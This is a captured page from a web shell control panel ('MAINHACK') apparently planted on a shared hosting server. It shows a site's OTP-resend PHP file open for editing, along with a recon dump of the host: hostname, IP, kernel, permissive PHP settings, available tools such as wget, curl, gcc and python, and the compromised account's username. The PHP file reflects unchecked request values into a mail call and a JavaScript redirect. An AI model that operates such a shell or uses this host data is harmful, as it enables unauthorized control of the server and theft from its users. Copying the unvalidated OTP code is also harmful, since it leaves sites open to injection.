[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: resend-OTP.php
<?php include 'header.php'; $em=base64_decode($_REQUEST['em']); $table=base64_decode($_REQUEST['t']); $phn=base64_decode($_REQUEST['ph']); $d=base64_decode($_REQUEST['d']); //echo $em; $link=$_REQUEST['link']; $d=$_REQUEST['link']; $no=rand(1,100000); $capcha=$no; if($_REQUEST['link']=='verify_otp.php'){ $email_subject = "Registration Confirmation"; $eem='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content=" <html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 20px double #999;' width='800px'> <tr><td style='text-align:center;background: #999;'> <h3 style='text-align: center; color: #fff; font-size: 20px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td style='text-align:justify;padding:12px;font-size:18px;'><br>Hi ,<br><br> Your Registration with email id ".$em." has been successful .Please verify your email id with the otp sent to you to login into your account.Thank You. <br><br> Your OTP:$capcha<br> <br><br><br> Thanks & Regards,<br> Team $company_name,<br> Web : $website<br> Email :$email<br> Phone :$phone<br> <br> <br> </td></tr> </tr> </table> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $url="$link?id=".base64_encode($capcha)."&m=".base64_encode($em)."&phn=".base64_encode($phn)."&t=".base64_encode($table).""; if(@mail($em,$email_subject,$email_content,$headers)) { echo "<script> setTimeout(function() { swal({ title: 'Thank You!', text: 'OTP has been sent to your registered mail id & Phone No', type: 'success' }, function() { window.location = '$url'; }); }, 1000); </script>"; // echo "<script>alert('OTP has been sent to your registered mail id');window.location.href='$url'</script>"; } } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619